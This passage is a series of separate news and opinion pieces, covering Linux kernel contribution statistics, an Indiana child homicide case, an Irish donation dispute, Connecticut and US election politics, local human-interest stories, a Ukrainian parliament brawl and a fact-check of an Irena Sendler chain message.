and sponsors  Since Sept. 2013, nearly 200 more developers have participated in each kernel development cycle, says the LF. Since the kernel development team moved to the Git repository system with Linux 2.6.11 in 2005, thereby enabling more accurate tracking, some 11,695 developers have contributed, working for a “minimum” of 1,230 companies, says the report.  The number of contributions in which the labor was primarily paid for by a company has grown slightly, representing “well over 80 percent,” says the report. Submissions from unpaid developers, meanwhile, continues its slow decline of many years, dropping from 14.6 percent in the 2012 report to 13.6 percent in 2013 and now 11.8 percent.  Kernel Developer Affiliation  (source: Linux Foundation)  Company Changes None 11,968 12.40% Intel 10,108 10.50% Red Hat 8,078 8.40% Linaro 5,415 5.60% Samsung 4,290 4.40% Unknown 3,842 4.00% IBM 3,081 3.20% SUSE 2,890 3.00% Consultants 2,451 2.50% Texas Instruments 2,269 2.40% Vision Engraving Systems 2,089 2.20% Google 2,048 2.10% Renesas Electronics 2,004 2.10% Freescale 1,690 1.80% Free Electrons 1,463 1.50% Company Changes Outreachy 1,418 1.50% Oracle 1,166 1.20% AMD 1,109 1.10% NVidia 1,078 1.10% Broadcom 1,001 1.00% Huawei Technologies 971 1.00% ARM 788 0.80% Pengutronix 763 0.80% Cisco 723 0.70% Qualcomm 679 0.70% Fujitsu 672 0.70% Linux Foundation 627 0.60% Imagination Technologies 579 0.60% QLogic 545 0.60% Ingics Technology 526 0.50%  The report suggests that this is not so much due to a lack of volunteer spirit as the fact that Linux kernel developers are in such high demand — good kernel developers don’t stay unemployed for long. “Anybody who demonstrates an ability to get code into the mainline tends not to have trouble finding job offers,” says the report.  Over the years, the number of sponsoring companies has shown overall growth, despite some downticks. The 2009 kernel report, for example, listed nearly 1,000 developers working for more than 200 different corporations, while by the time Linux 3.1 arrived 2013, there were 1,392 developers working for 243 companies.  In 2014 and 2015, however, the number of companies dropped slightly compared to 2013. On Linux 3.18, for example, 239 companies contributed, compared to 241 on Linux 3.17.  There continues to be a large disparity between the volume of contributions submitted by sponsoring companies. The top 10 sponsors today make up nearly 57 percent of total contributions, says the report. The leading contributor — the 12.4 percent who list themselves as “none” — refers primarily to unaligned, unpaid contributors.  Since Sept. 2013, Intel has taken over the second-place slot from Red Hat, with 10.5 percent and 8.4 percent of contributions, respectively. Texas Instruments has dropped from fourth place to 10th, perhaps reflecting the chipmaker’s retreat from the smartphone market. Meanwhile, Linaro and Samsung continue to rise on the chart, with 5.6 percent and 4.4 percent, respectively, followed by “Unknown,” IBM, SUSE, “Consultants,” and TI.  Google, which has been increasing its contributions over the years, dropped to 12th place behind Vision Engraving Systems. After Google comes chipmakers Renesas and Freescale.  Interestingly, two smaller open source organizations have jumped into the next two slots ahead of tech giants like Oracle, AMD, Nvidia, Broadcom, and Huawei. These include our embedded Linux friends at France-based Free Electrons, and the FOSS Outreach for Women, which recently changed its name to Outreachy. The organization is primarily backed by the GNOME Foundation, with fellowship support coming from the LF, Intel, and Codethink.  Individual contributions also vary significantly. Typically about a third of contributors contribute only one patch per release, but since the 2.6.11 release in 2005, the top 30 developers have contributed about 17 percent of the total. Since the 2013 report, contributors who have represented 1 percent or more of contributions include H. Hartley Sweeten (2.2 percent), Sachin Kamat, Jingoo Han, and Laurent Pinchart.  Perhaps just as important as the developers are the kernel maintainers who approve code. These “non-author signoff” contributors have been led since the last report by Greg Kroah-Hartman with 14.4 percent, David Miller with 8.6 percent, and Mark Brown and Andrew Morton, each with 4.1 percent. The companies supporting such signoffs are increasingly linked to the mobile and embedded sectors, says the report.  Non-author Signoffs  (source: Linux Foundation)  Developer Signoffs Percent Greg Kroah-Hartman 13,028 14.40% David S. Miller 7,780 8.60% Mark Brown 3,735 4.10% Andrew Morton 3,726 4.10% Mauro Carvalho Chehab 2,706 3.00% Daniel Vetter 2,554 2.80% John W. Linville 2,288 2.50% Rafael J. Wysocki 1,614 1.80% Simon Horman 1,339 1.50% Ingo Molnar 1,243 1.40% Developer Signoffs Percent Linus Walleij 1,213 1.30% Arnaldo Carvalho de Melo 1,044 1.20% Jeff Kirsher 916 1.00% Benjamin Herrenschmidt 906 1.00% Shawn Guo 905 1.00% Jonathan Cameron 871 1.00% Felipe Balbi 861 1.00% Jason Cooper 783 0.90% Chris Mason 761 0.80% Johannes Berg 748 0.80%  Interestingly, the total number of patches approved by Torvalds — 329, or 0.4 percent of the total — “continues its long-term decline, [reflecting] the increasing amount of delegation to subsystem maintainers who do the bulk of the patch review and merging,” adds the LF’s report.  Further information  The 2015 Linux Kernel Development report may be found here (requires free LF registration).
-While little Nieyely Lopez's mother Nicole worked two jobs, her mother's boyfriend, Antonio Harris, 19, would often baby-sit the 2-year-old.  In recent weeks, Nieyely's mother noticed that the child was reluctant to give Harris hugs and kisses, according to court records.  And she didn't question the bruises on the girl's face when Harris said she'd fallen off the bed.  So when Harris came to her job on Sunday to tell her Nieyely had stopped breathing, Nicole Lopez lied to police about several things, including her relationship with Harris, her daughter's last kiss and even her boyfriend's real name, according to court records.  Despite the initial lack of help from her, Lake Station detectives Sgt. Brian Williams and Sgt. Glen Gulley sorted through the facts to obtain murder, neglect of a dependent and battery charges against Harris, of Gary.  Harris is in custody, being held without bail. Nicole Lopez has not been charged. Lake County Chief Deputy Prosecutor Barbara McConnell said Lopez did finally cooperate in the investigation and agreed to testify against Harris.  Nieyely died Sunday morning at the Methodist Hospitals Northlake campus after Harris and his aunt flagged down a Gary fire truck on Lake Street in Miller, seeking help for the child, whose body was cold and lifeless.  A coroner reported that Nieyely Lopez, 2, died of "multiple blunt force traumatic injuries." Her death was ruled a homicide.  An autopsy revealed Nieyely suffered "blunt force injuries including a lacerated liver, bleeding to the right chest, rib fracture of right side, severe bruising of diaphragm from ribs, severe internal bruising, multiple lacerations to liver from a crushing blow (stomp on ground or punch against wall)" and knots on her head from knuckles or fingers, the probable cause affidavit states. She probably died from a cut to a blood vessel in her liver, and the injuries were less than 24 hours old, the affidavit states.  Lopez first told police Harris was her cousin and that she knew him only as "Tone," but later admitted they had been dating and living together for a few months. She worked at an area nursing home and Illinois night club while he stayed at home with the child. Lopez said that the child seemed sluggish Saturday night but claimed she saw no bruises or marks on the child. She told detectives that Harris had said the ligature-type mark on the child's neck was not from a string or rope.  2-year-old-girl found cold and unresponsive May 17, 2015 in Lake Station, Indiana. Child sustained blunt force trauma according to police. (WGN TV) 2-year-old-girl found cold and unresponsive May 17, 2015 in Lake Station, Indiana. Child sustained blunt force trauma according to police. (WGN TV) SEE MORE VIDEOS  When speaking to police, Lopez said Harris "was quiet but he can 'snap' easily," according to court documents.  She also asked to take a voice stress test to prove she was telling the truth. Gary Detective Roberto Figueroa performed the test and asked her questions about whether she had physically punished the child. She said no and passed the test, according to court documents.  Harris denied injuring the child, the affidavit states. He said Lopez lied about knowing his name because he might have felony warrants, and claimed the child was hurt by falling furniture, such as stereo speakers or bunk beds. The Lake Station detectives, however, searched the home and found nothing out of place, the affidavit states.  Gary police took Lopez and Harris into custody, but the case was handled by Lake Station when it was determined that the deadly injuries occurred at Lopez's apartment in Lake Station.  lcaldwell@post-trib.com
-The foreign foundation that gave money to Amnesty to support its campaign on abortion has taken issue with the Standards in Public Office Commission (Sipo) and called on it to correct a statement it made on the matter.  The Open Society Foundations, which is funded by the billionaire George Soros, has said at no time did it tell Sipo that €137,000 it gave Amnesty last year was given for “political purposes”.  It has also said Sipo’s stance may be influenced by internal foundation documents that were reportedly obtained by people working for the Russian government who hacked into Open Society’s computer system in a bid to discredit Open Society’s work.  Last week Sipo, which has told Amnesty to return the money, said it had recently contacted the donor and that it confirmed the money was for political purposes.  In a statement issued on Thursday from New York, Open Society said it has written to the watchdog asking for the statement to be corrected.  “The grant in question was to fund the continuation of Amnesty’s ‘My body My Rights’ campaign, which seeks to mobilise support for a repeal of the 8th Amendment to the Irish Constitution, which effectively bans all forms of abortion in Ireland in violation of women’s and girls’ human rights,” it said.  The statement referred to Sherry Perreault, Sipo’s head of ethics and lobbying, who has asserted that the grant was for “political purposes” and that documentary evidence received by Sipo had been verified by the donor which “essentially clarified the intent”.  The leaked document continued: “With one of the most restrictive abortion laws in the world, a win there (Ireland)could impact other strongly Catholic countries in Europe, such as Poland, and provide much needed proof that change is possible, even in highly conservative places.”  In its statement on Thursday, Open Society said it believed Sipo in its public comment had referred to internal documents that were “stolen from our servers and illegally published on the DC Leaks website in 2016, reportedly by hackers working for the Russian government seeking to publicly discredit our human rights work around the world.”  The foundation said it had told Sipo the hacked documents were not “dispositive of our intention as a donor. Rather they were part of an ongoing discussion on how best to strengthen women’s reproductive rights across Europe”.  It said: “In addition, it was Amnesty who first approached Open Society, in a general call for expressions of interest for a grant that was not specific to abortion.”  The foundation said the legal scope of the money given to Amnesty was determined by the language of the grant agreement, and not any other document.  “The Open Society Foundations trusts that Sipo will rely only on this document to determine whether the terms of this grant comply with Irish law.”  Under Irish law, third parties cannot receive funding for political purposes from foreign donors. Colm O’Gorman, chief executive of Amnesty, has said it at all times made clear to Sipo what it was using the €137,000 for, and that Amnesty was told last year the grant did not fall within the Sipo remit.  Assurances On Thursday, Sipo said it had no comment to make on Open Society’s statement.  In a statement last week, Sipo said that in 2016, having heard of the grants, it made inquiries and received assurances from the recipients that the donations were not for political purposes.  However, it said, it recently received new information that indicated the donations “were indeed for political purposes”.  Sipo has said it sought and received written confirmation from the donor that the funding was for explicitly political purposes.  “As it is the intent of the donor that determines whether a donation is a political donation, the funding very clearly fell within the Act’s prohibitions. The Commission has issued directives to the recipients to return the prohibited donations.”
-Malloy: "I'm overwhelmed at how happy I am" Copyright by WTNH - All rights reserved Connecticut Governor Dannel Malloy announced Thursday that he will not seek a third term. (WTNH / Joe Sferazza) [ + - ] Video  HARTFORD, Conn. (WTNH) -- There has been speculation at the Capitol for weeks that Governor Dannel Malloy would not run again and now it's official. After 14 years as Mayor of Stamford, and eight years as Governor, Dannel Malloy will move on.  "Today I announce that I will not seek a third term as Governor," said the Governor at a packed news conference in the large Old Appropriations room at the State Capitol. The decision comes as Malloy is facing the most difficult budget battle of his entire career and he pledged today to not borrow or postpone any difficult spending cuts to close the $1.7 billion dollar deficit "The decision I have announced today will allow me to focus on these areas fully, not just for the remainder of this session but for the next twenty months in total."  There is already a large field of Republicans seeking the nomination. Several have already raised considerable sums for statewide campaigns. They include;  On the Democratic side, Middletown Mayor Dan Drew is the only announced candidate, but there are several strong candidate possibilities, including;  Ganim made a remarkable comeback in 2015, after spending seven years in federal prison for corruption. While Lt. Governor Wyman is also high on many speculation lists, she declined to comment Thursday, saying today was Governor Malloy's day.  With his wife Cathy, who had to help him with his homework in college because of learning disabilities, he started to tear up.  I'm overwhelmed with emotion. I'm not sad at all. I'm overwhelmed at how happy I am."  Many at the Capitol have noticed that Governor Malloy has seemed very happy for weeks. He said Thursday that he started making this decision, along with Cathy, back in August.
-Introducing his new running mate on Saturday, Republican presidential nominee Mitt Romney boasted, "We offer solutions that are bold, specific, and achievable." Number Two dutifully followed Number One, as Paul Ryan then promised voters, "We won't duck the tough issues...we will lead."  Just not, it turns out, when it comes to the central premise of the Romney-Ryan economic plan. Both men have pledged to lower tax rates and "broaden the base" by closing some of the myriad deductions and loopholes that cost the United States Treasury over $1 trillion a year in lost revenue. But because neither man has "the courage to tell you the truth" in "the light of day," which tax expenditures they will close--and which Americans be hit hardest--will be a mystery until after Election Day. The result is that the ersatz Republican deficit hawks will add trillions more to the national debt than the Democrats they want to replace while raising the tax bill on working families.  While Governor Romney has stopped short of fully adopting the Ryan House Republican budget he has called "marvelous" and repeatedly pledged to sign if it crossed his desk, their respective blueprints are nearly identical on the issues that matter most. Both Ryan and Romney would deliver a massive tax cut windfall for the rich, a multi-trillion giveaway offset only in part by gutting the social safety net each pretends to protect. Romney-Ryan ends Medicare as we know it with a "premium support" gambit that would dramatically shift health care costs to America's seniors. Their shared call for repealing the Affordable Care Act could leave up to 48 million more people without health insurance. Even as their draconian austerity budgets would increase unemployment beginning in 2013, both men would nevertheless ratchet up defense spending. And despite their mutual pledges to end many tax loopholes and deductions to fund their gilded-class giveaway, Romney and Ryan are too cowardly to say which ones. As a result, these supposed deficit hawks would actually add trillions more in red ink to the national debt.  As it turns out, there's a simple problem with Ryan's bragging that his plan will "prevent an explosion of debt from crippling our nation and robbing our children of their future." That is, his math doesn't work. As the Washington Post's Ezra Klein explained in March, Ryan has a roughly $6 trillion hole to fill:  The Tax Policy Center looked into the revenue loss associated with House Budget Chairman Paul Ryan's plan to cut the tax code down to two rates of 10 percent and 25 percent. They estimate the changes would raise $31.1 trillion over 10 years, or 15.4 percent of GDP. That's $10 trillion less than the tax code would raise if the Bush tax cuts were allowed to expire, and $4.6 trillion less than it would raise if all of the Bush tax cuts were extended.  The Republican congressman says he'll "broaden the tax base to maintain revenue...consistent with historical norms of 18 to 19 percent." So let's say Ryan needs to find close-enough deductions and loopholes to hit 18.5 percent of GDP. That means he'd need to close about $6.2 trillion in tax deductions and loopholes over 10 years.  But so far, Rep. Ryan has refused to answer the $6 trillion question: which tax deductions and loopholes will he close? And as we'll see below, he's not the only refusenik on the GOP's 2012 ticket.  As the Washington Post showed (chart above), the trillion-plus dollars in annual tax expenditures is now larger than Uncle Sam's take from the income tax each year. And as the Post also highlighted last year, "ever-increasing tax breaks for U.S. families eclipse benefits for special interests."  It's important to understand that much of the estimated $1.3 trillion in annual tax expenditures in 2015 (a figure larger than the entire 2012 budget deficit and equivalent to about a third of the $3.8 trillion in federal spending next year) benefit working and middle income Americans. For example, the home mortgage tax deduction was worth $89 billion in 2011. Tax-deferred 401K accounts cost the Treasury $63 billion. The Earned Income Tax Credit had a similar $63 billion price tag last year.  So what deductions and loopholes are actually in the mystery meat that is Paul Ryan's budgetary dog food? As Paul Krugman explained in "Pink Slime Economics":  We're talking about a lot of loophole-closing. As Howard Gleckman of the nonpartisan Tax Policy Center points out, to make his numbers work Mr. Ryan would, by 2022, have to close enough loopholes to yield an extra $700 billion in revenue every year. That's a lot of money, even in an economy as big as ours. So which specific loopholes has Mr. Ryan, who issued a 98-page manifesto on behalf of his budget, said he would close?  None. Not one. He has, however, categorically ruled out any move to close the major loophole that benefits the rich, namely the ultra-low tax rates on income from capital. (That's the loophole that lets Mitt Romney pay only 14 percent of his income in taxes, a lower tax rate than that faced by many middle-class families.)  As Matthew Yglesias pointed out, in Ryan's 13-page description of his tax reform vision, those politically tough choices are completely missing:  Thirteen pages dedicated to explaining his vision for revenue-neutral tax reform. And even so he manages to not name a single tax deduction that he's planning to eliminate. Home mortgage interest deduction? I dunno. Electric vehicle tax credit? I dunno. Deductibility of state and local income taxes? I dunno.  Ryan has admitted as much. Appearing on MSNBC's "Morning Joe" on March 20th, Congressman Ryan declared he would "Get rid of the special interest loopholes, special deductions, lower everybody's tax rates, bring in at least as much revenue to the government but grow the economy and create jobs, and get spending under control so we can pay off this debt." But when host Joe Scarborough asked "Which one of those [loopholes] do you eliminate," Ryan decided discretion was the better part of valor (starting around the 1:15 mark):  "We want to do this in the light of day and in front of everybody. So the Ways and Means Committee, which is in charge of the tax system, sent us the plan here, which is a 10 and 25 percent bracket for individuals and small businesses, and then they want to have hearings and, in light of day, show how they would go about doing this."  Appearing on CBS Face the Nation just days later, Ryan again claimed that "We're proposing to keep revenues where they are, but to clear up all the special interest loopholes, which are uniquely enjoyed by higher income earners, in exchange for lower rates for everyone." But he once again pleaded the Fifth when asked which "special interest loopholes" he would do away with:  "That's what the Ways & Means Committee is supposed to do. That's not the job of the Budget Committee," Ryan said on Fox News Sunday. "What we're saying is, we want to do this in the light of day, not in some backroom deal. We want to have hearings in the Ways & Means Committee that Chairman Dave Camp has already started that work, to say what tax benefits should go."  For his part, Ryan has claimed - but not detailed how - he would leave "middle-income tax write-offs" in place. Instead, he told ABC's This Week earlier this year, "With respect to the wealthy, we're saying, 'Stop subsidizing the wealthy. Close the tax shelters and loopholes that are disproportionately used by the wealthy so that we can get more tax revenue by having a broader tax base with lower rates.'" As Fox News dutifully reported:  But Ryan argued that popular deductions might not have to be eliminated for everybody -- just the high-income earners who "disproportionately" use them. He indicated a willingness to end the home mortgage interest deduction and other breaks for top earners...  Ryan said it's "impossible" to know whether the wealthy would end up benefiting more or less from all these changes.  Actually, it's not impossible. Looking at Mitt Romney's similar proposals, the nonpartisan Tax Policy Center did just that. And the results are hardly surprising.  Even after assuming the closure of tax loopholes and deductions which disproportionately favor the rich, TPC forecast that President Romney would cut taxes for the richest five percent of earners while increasing the tax bill for the other 95 percent of Americans. It's no wonder Ezra Klein concluded that "'broadening the base and lowering the rates' is anti-family tax reform," adding:  "The size of the tax cut he's proposing for the rich is larger than all of the tax expenditures that go to the rich put together. As such, it is mathematically impossible for him to keep his promise to make sure the top one percent keeps paying the same or more."  For months, Mitt Romney has been using the same dodge as Paul Ryan, promising only that the "1 percent keeps paying the current share they're paying or more." In March, economic adviser Glenn Hubbard confirmed Romney's cowardice, explaining "it is not his intention to take on any specific deduction or exclusion and eliminate it." As the New York Times reported:  "In order to limit any impact on the deficit, because I do not want to add to the deficit, and also to make sure we continue to have progressivity in our tax code, I'm going to limit the deductions and exemptions, particularly for high-income folks," Mr. Romney, a former governor of Massachusetts, said. "And by the way, I want to make sure that you understand, for middle-income families, the deductibility of home mortgage interest and charitable contributions, those things will continue," he said. "For high-income folks, we are going to cut back on that, so we make sure that the top 1 percent keeps paying the current share they're paying or more. We want middle-income Americans to be the place we focus our help, because it's middle-income Americans that have been hurt by this Obama economy."  But just two weeks later, Mitt Romney chickened out again, refusing to reveal which deductions and tax breaks he would end:  "So I haven't laid out all of the details about how we're going to deal with each deduction, so I think it's kind of interesting for the groups to try and score it, because frankly it can't be scored, because those kinds of details will have to be worked out with Congress, and we have a wide array of options."  In response, the Post's Klein could only shake his head:  "Let's be clear on this: A tax plan that can't be scored because it doesn't include sufficient details is not a plan. It's a gesture towards a plan, or a statement of intended direction, or perhaps an unusually wonky daydream. But it's not a plan."  Well, it is a plan in one sense. That is, unless they reveal their loophole closing secret sauce, President Romney and Vice President Ryan will produce red ink as far as the eye can see.  As the Center for American Progress explained, the Congressional Budget Office (CBO) assessment of the Ryan budget "did not test Rep. Ryan's claims about how his policies would actually affect spending or revenue," but "merely showed what would happen to the debt if his claims were true." In a nutshell, they are not:  But the House budget's entire claim to deficit reduction is built on the foundation of those fantasy revenue levels. Without them, the debt goes up, not down. In fact, with all the House budget's tax cuts properly accounted for, revenue would average just 15.3 percent of GDP from 2013 through 2022, not 18.3 percent. The result: deficits would never drop below 4.4 percent of GDP, and would rise to more than 5 percent of GDP by 2022.  The national debt, measured as a share of GDP, would never decline, surpassing 80 percent by 2014, and 90 percent by 2022. By comparison, President Barack Obama's budget proposal, released in February, would stabilize the debt by 2015, and bring it down to 76 percent by 2022.  If this all sounds familiar, it should. Because in February, Mitt Romney also rolled out a new economic plan, one which similarly hemorrhages red ink.  As it turns out, Romney's scheme to "Cut, Cap and Balance" the federal budget does nothing of the sort. As the Washington Post explained in its discussion of an analysis by the Committee for a Responsible Federal Budget, "until the campaign offers a more specific plan, Budget Watch analysts said Romney's entire framework would add about $2.6 trillion to the debt by 2021." (As ThinkProgress and the Washington Post's Lori Montgomery and Ezra Klein all explained, that's likely a conservative estimate.)  In words and in pictures (above), CAP put it this way:  The various fiscal promises Gov. Romney makes simply cannot work together. He cannot simultaneously cut taxes as he's proposed, increase defense spending, protect Social Security and Medicare for current and near-future retirees, and also balance the budget. It is mathematically impossible.  Mathematically impossible and, for the American people, catastrophic.  Such is price of cowardice. For his part, Mitt Romney during brief moments of candor has acknowledged his complete lack of political courage. As the former Massachusetts Governor inadvertently revealed in an interview with the Weekly Standard, his opacity is by design, a lesson learned from losing the 1994 Senate race:  "One of the things I found in a short campaign against Ted Kennedy was that when I said, for instance, that I wanted to eliminate the Department of Education, that was used to suggest I don't care about education," Romney recalled. "So I think it's important for me to point out that I anticipate that there will be departments and agencies that will either be eliminated or combined with other agencies. So for instance, I anticipate that housing vouchers will be turned over to the states rather than be administered at the federal level, and so at this point I think of the programs to be eliminated or to be returned to the states, and we'll see what consolidation opportunities exist as a result of those program eliminations. So will there be some that get eliminated or combined? The answer is yes, but I'm not going to give you a list right now."  In a December profile by the Wall Street Journal, Governor Romney acknowledged that when it comes to facing the voters, his cowardice is a feature, not a bug:  Amid such generalities, it's hard not to conclude that the candidate is trying to avoid offering any details that might become a political target. And he all but admits as much. "I happen to also recognize," he says, "that if you go out with a tax proposal which conforms to your philosophy but it hasn't been thoroughly analyzed, vetted, put through models and calculated in detail, that you're gonna get hit by the demagogues in the general election."  But what Mitt Romney calls "demagogues," most Americans would call "voters." And they can handle the truth. Mitt Romney and Paul Ryan simply too afraid to give to them.
-Grace VanderWaal rides the GoldieBlox float in the Macy's 90th Thanksgiving Day parade in New York City, NY on Thursday, Nov. 24, 2016. (Photo: Danielle Parhizkaran/The Record of North Jersey)  Grace VanderWaal is going black tie.  The tiny songstress who just performed at the Macy's Thanksgiving Day Parade will sing the national anthem at the Rockland County Executive Ball, Jan 29.  VanderWaal will be a highlight of the annual Day campaign fundraiser, which kicks off at 5 p.m. at the Pearl River Hilton. The theme is "Celebrating Success To Shape The Future." Tickets start at $250.  Rockland County Executive Ed Day presented VanderWaal with a "key to Rockland" during her homecoming parade on Oct.1. During that event Day said of the singer: "Suffern knew she had talent. Rockland knew she had talent. Now America knows she has talent. It's rare to have someone so special to bring us all together."  It's been a busy year for the now internationally-known singer, who captured hearts when she first appeared on "America's Got Talent' in June, ultimately winning the coveted grand prize of $1 million and landing a record deal with Simon Cowell's Syco label.  RELATED: Grace album available for pre-order  RELATED: Grace in studio recording first album  Her first album, "Perfectly Imperfect," will be released Dec. 2 and she is set to appear on the "America's Got Talent Holiday Spectacular," airing 8 p.m. Dec. 19 on NBC.  Grace VanderWaal rides the GoldieBlox float in the Macy's 90th Thanksgiving Day parade in New York City, NY on Thursday, Nov. 24, 2016. (Photo: Danielle Parhizkaran/The Record of North Jersey)  Twitter: @krhudsonvalley  Read or Share this story: http://lohud.us/2gleevk
-0 Couple unknowingly drives onto interstate with drunk man on trunk  A drunk man passed out and went for a ride on the trunk of a stranger's car down a busy Memphis interstate, and neither the drunk man nor the driver knew it.  He is lucky, to say the least. The man crawled up on the back of the car with a trunk that's only about 14 inches wide.  Thankfully, an Memphis Police Department officer spotted him, but not before he went on a ride that he doesn't remember. On the other hand, it’s a trip the driver will never forget.  "There's no way to describe it. It's unbelievable," Carl Webb told FOX13 Memphis.  Webb and his wife were leaving Barbecue Fest on Thursday night in downtown Memphis. They had backed their car into a parking space at Carolina and Riverside.  "We came down the aisle, walked right to the car, opened it up on both sides then we got in the car."  It was dark out and Webb’s sunshade was stuck up, so he didn't see what was on his trunk. After driving about 14 miles, he was pulled over by police.  “The officer came up and he said, ‘Mister, are you aware there's a body on your trunk?' and that did not register. He goes, ‘Mister, I'm not messing with you. There's a body on your trunk.’ So I got out. We walked around and sure enough, there he was, still hanging on, still unconscious, just lying there.”  Webb had driven 14 miles with the uninvited and unaware passenger sleeping on his 14-inch-wide trunk.  "I have no explanation other than that little lip right there saved his life," he said.  The officer had to wake the man up. Webb said the man was so drunk, he started to stumble into traffic and the officer grabbed him.  Webb said he's just thankful for the officer's good police work.  “Good job man, good job. It was just outstanding,” Webb said.  Webb also has a message for the man who ended up on his trunk.  "I hope he takes a good look at where he put himself and the hazard that he had open up to himself. It would've been death."  The man was put in the cruiser, but there's no word on his identity or if he was charged with anything.  MORE FROM BOSTON 25 NEWS  Massive landslide blocks scenic California highway  Here's your complete guide to Boston Calling 2017  Pete Frates struggling to keep up with health care costs  © 2019 Cox Media Group.
-The ability to be smart, even very smart, is no guarantee that you won’t sometimes be stupid — even very stupid.  Case in point: in an article in Newsweek, George Will echos the sentiment of Nobel-prizewinner Robert Laughlin, that “The Earth Doesn’t Care if You Drive a Hybrid.” The essay inside is titled “What the Earth Knows,” which is this: What humans do to earth doesn’t matter in the long run, and the long run is what matters to the earth.  This is one of the most destructive, immoral, and yes, stupid arguments ever — not just about global warming, but about any topic anywhere any time. Congratulations to Robert Laughlin for proving beyond doubt that Nobel prize winners are still capable of staggering, mind-boggling stupidity.  It’s true that the earth doesn’t care what we do to it. It’s also true that the earth doesn’t care if you torture, rape, and murder children. Or set up death camps to carry out genocide. Or turn an entire race of human beings into slaves. Truly, the earth doesn’t care if we all die, painfully, miserably — or if George Will and his cronies get filthy rich by selling the health and well-being of the next generation for a hundred dollars a barrel. Let the children die — just don’t take away George Will’s SUV.  Earth doesn’t care if we, or our children, suffer. Apparently, neither does George Will. Or Robert Laughlin.  I care.  Advertisements
-Today's dispute occurred after members passed a presidential decree to partially mobilize the country, drawing up military reserves and drafting men under 50 years old to protect Ukraine’s border. The decree extends an original call for military reserves issued a month and a half ago.  This isn't the first time Svoboda has been involved in a brawl in parliament — another one occurred in April when communist leader Petro Symonenko criticized party members for encouraging strong-arm tactics.  The fight allegedly broke out after Svoboda member Oleg Tiagnybok voted to remove Donetsk native and Party of Regions representative Yuri Levchenko from parliament; Levchenko asserted that Svoboda “kills its citizens.”  With a downed passenger jet , militant separatists , and a menacing neighbor to deal with, tensions are understandably running a little high among those running Ukraine. Today, a fight in parliament erupted between members of the nationalist Svoboda [Freedom] party and the Party of Regions, the pro-Russia party of former president Viktor Yanukovich.  Read more  With a downed passenger jet, militant separatists, and a menacing neighbor to deal with, tensions are understandably running a little high among those running Ukraine. Today, a fight in parliament erupted between members of the nationalist Svoboda [Freedom] party and the Party of Regions, the pro-Russia party of former president Viktor Yanukovich.  VICE News is on the ground reporting from Ukraine. Watch here.  The fight allegedly broke out after Svoboda member Oleg Tiagnybok voted to remove Donetsk native and Party of Regions representative Yuri Levchenko from parliament; Levchenko asserted that Svoboda “kills its citizens.”  This isn't the first time Svoboda has been involved in a brawl in parliament — another one occurred in April when communist leader Petro Symonenko criticized party members for encouraging strong-arm tactics.  Today's dispute occurred after members passed a presidential decree to partially mobilize the country, drawing up military reserves and drafting men under 50 years old to protect Ukraine’s border. The decree extends an original call for military reserves issued a month and a half ago.  Exclusive footage of the MH17 aftermath. Watch it here.  Before the vote, security official Andriy Paruby told the Ukrainian parliament that Russia was increasing its presence at the border, with about 41,000 soldiers, 150 tanks, and more than 900 other large weapons mobilized.  Meanwhile, Ukrainian director of informational security Vitaly Nayda alleged that it was a Russian officer, not a pro-Russia separatist, who launched the missile that brought down Malaysia Airlines Flight MH17. "A Russian-trained, well-equipped, well-educated officer… pushed that button deliberately,” said Nayda, citing Ukrainian intelligence.  After spending several days stuck at the crash site, most of the bodies from the flight are now en route to the Netherlands. Meanwhile, the EU is still considering tougher economic sanctions on Russia.  MH17 crash site reportedly looted by rebels. Read more here.  Follow Jordan Larson on Twitter: @jalarsonist
-On 12 May 2008, Irena Sendlerowa (commonly known as Irena Sendler) passed away of pneumonia at the age of 98 in Warsaw. Her death prompted the circulation of an online message aimed at informing the many people who remained unfamiliar with her heroic deeds during the Holocaust:  There recently was a death of a 98 year old lady named Irena. During WWII, Iliana, got permission to work in the Warsaw Ghetto. She had an ulterior motive… She KNEW what the Nazi’s plans were for the Jews. Iliana smuggled infants out in the bottom of her tool box she carried, and she carried in the back of her truck a Burlap sack, (for larger kids). She also had a dog in the back, that she trained to bark when the Nazi soldiers let her in, and out of the ghetto. The soldiers of course wanted nothing to do with the dog, and the barking covered the kids/infants noises. During her time and course of doing this, she managed to smuggle out and save 2500 kids/infants. She was caught, and the Nazi’s broke both her legs, and arms, and beat her severely. Iliana kept a record of the names of all the kids she smuggled out, and kept them in a glass jar, buried under a tree in her back yard. After the war, she tried to locate any parents that may have survived it, and reunited the family. Most of course had been gassed. Those kids she helped got placed into foster family homes, or adopted. Last year Iliana was up for the Nobel Peace Prize…. She LOST. Al Gore won, for a slide show on Global Warming. Check it out: www.irenasendler.org  Irena has often been referred to as “the female Oskar Schindler” in her native Poland for her daring and ingenuity in saving the lives of more than 2,500 Jews (most of them children) in German-occupied Poland during World War II. Unlike Oskar Schindler, whose story was the subject of the Academy Award-winning 1993 film Schindler’s List, Irena Sendler was a relatively unknown figure to the world at large until 1999, when four Kansas high school students wrote and performed “Life in a Jar,” a play about Irena’s life-saving efforts in the Warsaw Ghetto:  A Los Angeles Times obituary for Irena described how the Polish social worker passed herself off as a nurse to sneak supplies and aid into (and children out of) the Warsaw Ghetto, and the punishment she endured when she was finally caught by the Nazis:  She studied at Warsaw University and was a social worker in Warsaw when the German occupation of Poland began in 1939. In 1940, after the Nazis herded Jews into the ghetto and built a wall separating it from the rest of the city, disease, especially typhoid, ran rampant. Social workers were not allowed inside the ghetto, but Sendler, imagining “the horror of life behind the walls,” obtained fake identification and passed herself off as a nurse, allowed to bring in food, clothes and medicine. By 1942, when the deadly intentions of the Nazis had become clear, Sendler joined a Polish underground organization, Zegota. She recruited 10 close friends — a group that would eventually grow to 25, all but one of them women — and began rescuing Jewish children. She and her friends smuggled the children out in boxes, suitcases, sacks and coffins, sedating babies to quiet their cries. Some were spirited away through a network of basements and secret passages. Operations were timed to the second. One of Sendler’s children told of waiting by a gate in darkness as a German soldier patrolled nearby. When the soldier passed, the boy counted to 30, then made a mad dash to the middle of the street, where a manhole cover opened and he was taken down into the sewers and eventually to safety. Most of the children who left with Sendler’s group were taken into Roman Catholic convents, orphanages and homes and given non-Jewish aliases. Sendler recorded their true names on thin rolls of paper in the hope that she could reunite them with their families later. She preserved the precious scraps in jars and buried them in a friend’s garden. In 1943, she was captured by the Nazis and tortured but refused to tell her captors who her co-conspirators were or where the bottles were buried. She also resisted in other ways. According to Felt, when Sendler worked in the prison laundry, she and her co-workers made holes in the German soldiers’ underwear. When the officers discovered what they had done, they lined up all the women and shot every other one. It was just one of many close calls for Sendler. During one particularly brutal torture session, her captors broke her feet and legs, and she passed out. When she awoke, a Gestapo officer told her he had accepted a bribe from her comrades in the 